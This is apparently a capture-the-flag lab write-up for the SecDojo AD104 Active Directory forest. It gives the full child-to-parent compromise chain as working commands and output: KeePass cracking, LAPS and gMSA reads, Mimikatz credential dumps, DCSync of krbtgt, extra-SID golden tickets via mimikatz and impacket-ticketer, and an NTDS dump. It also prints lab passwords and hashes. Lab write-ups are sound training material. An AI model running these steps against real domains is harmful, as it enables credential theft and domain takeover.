nighthawk - SecDojo - AD104
Description
A two-domain forest: NEXUS.DEMACIA.DOJO is the child, DEMACIA.DOJO the parent. The whole chain is driven by a KeePass backup left on an SMB share.
Enumeration — SMB
The Backup share on 10.8.0.101 is readable and writable — the first interesting thing on this box.
Inside it sits backup.kdbx, a KeePass database. Downloaded.
KeePass 2 databases have a hash format keepass2john understands, and a current john-the-ripper build cracks it.
The master password is P@ssw0rd.


service_adm:PasswordInBackupSecure2525@@
Michael321:12345
The vault opens with two credentials inside. Both authenticate to .101 and .102 with normal privileges — a foothold, not control.
Initial access
Both accounts can RDP to .101.
BloodHound shows service_adm holds ReadLAPSPassword, so the LAPS password of the workstations is readable.
Reading it gives the local administrator password of the workstation.
Authenticating as James with that password returns local administrator on the workstation — .101 falls.
Next, cached credentials, because more than one admin has logged on here.
NEXUS.DEMACIA.DOJO/sys-admin:$DCC2$10240#sys-admin#9ab02cca1df1a6200c7723ffa281ec63: (2026-02-16 14:33:38+00:00)
NEXUS.DEMACIA.DOJO/service_adm:$DCC2$10240#service_adm#eda7d5fdfbe05dfa709600964555107f: (2026-10-24 19:54:42+00:00)
The dump yields no plaintext, only two DCC2 hashes.
Mimikatz against the live session does better and pulls a plaintext logon password:
Username : sys-admin
Domain : NEXUS.DEMACIA.DOJO
Password : 6haLijbifrc@@K7KZK

sys-admin can read GmsaPassword — a gMSA whose managed password the DC will hand over on request.
Abusing the gMSA password with nxc
nxc asks the DC for the managed password and receives the NTLM hash of svc-backup$:
nxc ldap 10.8.0.102 -u sys-admin -p '6haLijbifrc@@K7KZK' -d nexus.demacia.dojo --gmsa
Account: svc-backup$ NTLM: f0291e0227572ec50dec04363cbceb2c
That account is a domain admin on the child: DC2 falls and NEXUS.DEMACIA.DOJO with it.
It also holds DCSync rights, so the child krbtgt hash is one lsadump::dcsync away.
Child to parent — from NEXUS to the forest root

mimikatz # lsadump::dcsync /user:NEXUS\krbtgt08:47:37 [56/176]
[DC] 'nexus.demacia.dojo' will be the domain
[DC] 'DC2.nexus.demacia.dojo' will be the DC server
[DC] 'NEXUS\krbtgt' will be the user account
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
Object RDN : krbtgt
** SAM ACCOUNT **
SAM Username : krbtgt
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00010202 ( ACCOUNTDISABLE NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration :
Password last change : 6/10/2025 7:49:06 PM
Object Security ID : S-1-5-21-2751145572-4246095482-2312517431-502
Object Relative ID : 502
Credentials:
Hash NTLM: ab33b3be0748c427098c0b807865382d
ntlm- 0: ab33b3be0748c427098c0b807865382d
lm - 0: c7593b48d0d27bc789bc6236484e9d0e
Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
Random Value : f17a0160b3e030a96ae3533ac9d25737
* Primary:Kerberos-Newer-Keys *
Default Salt : NEXUS.DEMACIA.DOJOkrbtgt
Default Iterations : 4096
Credentials
aes256_hmac (4096) : a0971395ab91fc6b6d2bd61be58d0c4d7ed6a2fd5250c33f7129595732553a6b
aes128_hmac (4096) : f2ec3aef9e2945c481836b19a083895e
des_cbc_md5 (4096) : fdd5c468c20e6194
* Primary:Kerberos *
Default Salt : NEXUS.DEMACIA.DOJOkrbtgt
Credentials
des_cbc_md5 : fdd5c468c20e6194
* Packages *
NTLM-Strong-NTOWF
* Primary:WDigest *
01 d720d7ed1672f0c821ff8b15c5bcd5cc
02 074bda6c66e5ede2fab3713d4f166a13
03 6ed32771d58dd5d5c91eb87dd46399e9
04 d720d7ed1672f0c821ff8b15c5bcd5cc
05 074bda6c66e5ede2fab3713d4f166a13
06 93be23d78e02b72954b8310b773ac1fe
07 d720d7ed1672f0c821ff8b15c5bcd5cc
08 e5207016ec4eb200b2ffc7bad1bed731
09 e5207016ec4eb200b2ffc7bad1bed731
10 696feae9b9fe44604cd4edc5404557e0
11 e4f16bd8661260978698eb2717a8e9b5
12 e5207016ec4eb200b2ffc7bad1bed731
13 2b97bae60faa0e75cbc74665cc9945f0
14 e4f16bd8661260978698eb2717a8e9b5
15 062462771b8e597e42815801523cb0f0
16 062462771b8e597e42815801523cb0f0
17 9d2e973f4837ba0343070c887a90d014
18 397d6cc7f1196548ffab3c0de6a881d2
19 6d39f4ae1fb025e05531a6e3891e7e1a
20 4b6708b25b6d95066bb2cac24d2a3058
21 b423af094abc72ce849dd3c14557efab
22 b423af094abc72ce849dd3c14557efab
23 0bb053c3291758f599b5d84023edfaf7
24 a713d333e0b14735b7a3f19675444ab6
25 a713d333e0b14735b7a3f19675444ab6
26 538ca21548337fec8d105cb9e0f03db5
27 3ca15763a17a6b8b56d50a8350113a4e
28 8df84f654f82dbe7098255ab4c1f3545
29 966d812075ee9849c700f210bbc3eb09
mimikatz #
ab33b3be0748c427098c0b807865382d
Retrieving Domain SID

S-1-5-21-2751145572-4246095482-2312517431
Getting the Enterprise Admins SID
Get-DomainGroup -Domain demacia.dojo -Identity "Enterprise Admins" | select objectsid

S-1-5-21-2314102437-205119236-3044987286-519
Verify we don’t have Access to Enterprise domain

Forging a golden ticket with extrasid

kerberos::golden /user:hacker /domain:nexus.demacia.dojo /sid:S-1-5-21-2751145572-4246095482-2312517431 /krbtgt:ab33b3be0748c427098c0b807865382d /sids:S-1-5-21-2314102437-205119236-3044987286-519 /ptt
Verify the forged ticket loaded into mem

The forged ticket is accepted by the child DC but rejected by the parent — the extra SID on its own is not enough.
Second route — ticketer with an extra SID
First finding Child and parent Domain SIds
┌──(n16hth4wk㉿n16hth4wk-sec)-[~/Documents/Secdojo/AD104]
└─$ impacket-lookupsid nexus.demacia.dojo/nighthawk:Password123@10.8.0.102 | grep -i "Domain SID"
[*] Domain SID is: S-1-5-21-2751145572-4246095482-2312517431
┌──(n16hth4wk㉿n16hth4wk-sec)-[~/Documents/Secdojo/AD104]
└─$ impacket-lookupsid nexus.demacia.dojo/nighthawk:Password123@10.8.0.100 | grep -B12 "Enterprise SID"
┌──(n16hth4wk㉿n16hth4wk-sec)-[~/Documents/Secdojo/AD104]
└─$ impacket-lookupsid nexus.demacia.dojo/nighthawk:Password123@10.8.0.100 | grep -B12 "Enterprise Admins"
[*] Domain SID is: S-1-5-21-2314102437-205119236-3044987286
498: AD103\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: AD103\Administrator (SidTypeUser)
501: AD103\Guest (SidTypeUser)
502: AD103\krbtgt (SidTypeUser)
512: AD103\Domain Admins (SidTypeGroup)
513: AD103\Domain Users (SidTypeGroup)
514: AD103\Domain Guests (SidTypeGroup)
515: AD103\Domain Computers (SidTypeGroup)
516: AD103\Domain Controllers (SidTypeGroup)
517: AD103\Cert Publishers (SidTypeAlias)
518: AD103\Schema Admins (SidTypeGroup)
519: AD103\Enterprise Admins (SidTypeGroup)
Getting Krbtgt tickets

Saving ccache

┌──(n16hth4wk㉿n16hth4wk-sec)-[~/Documents/Secdojo/AD104]
└─$ impacket-ticketer -aesKey a0971395ab91fc6b6d2bd61be58d0c4d7ed6a2fd5250c33f7129595732553a6b -domain nexus.demacia.dojo -domain-sid S-1-5-21-2751145572-4246095482-2312517431 -extra-sid S-1-5-21-2314102437-205119236-3044987286-519 -user-id 500 Administrator
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for nexus.demacia.dojo/Administrator
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncAsRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncASRepPart
[*] Saving ticket in Administrator.ccache
impacket-ticketer, signing with the krbtgt aesKey and injecting the Enterprise Admins SID, produces a ticket the parent accepts: domain admin on DEMACIA.DOJO.
Third route — nxc dcsync with the ticket
Enumerating the trust with bloodyAD

bloodyAD --host 10.8.0.102 -d nexus.demacia.dojo -u Administrator -p ':2c27b327f2b7341e279ecb3cdaba5b6e' get object "CN=demacia.dojo,CN=System,DC=nexus,DC=demacia,DC=dojo" --attr trustPartner,securityIdentifier,trustDirection,trustType
Forging a TGT with the extra SID
S-1-5-21-2314102437-205119236-3044987286-519

Export the ticket

We pwned Parent domain

Note: moving into the parent took three attempts. The impacket route only worked once the ticket was signed with the
aesKeyand carried the Enterprise Admins SID; thenxcrun is the one that finally dumped the parent DC.
nxc smb 10.8.0.100 -k --use-kcache --ntds drsuapi
Takeaways
- A KeePass database on a writable share is a credential store wearing a backup costume.
ReadLAPSPasswordon workstations turns a normal user into local admin in one hop.- Read rights on
GmsaPasswordhand you the service account’s NTLM hash straight from the DC. - Child-to-parent needs the parent’s Enterprise Admins SID inside a ticket signed with the child
krbtgtAES key — the SID alone gets rejected.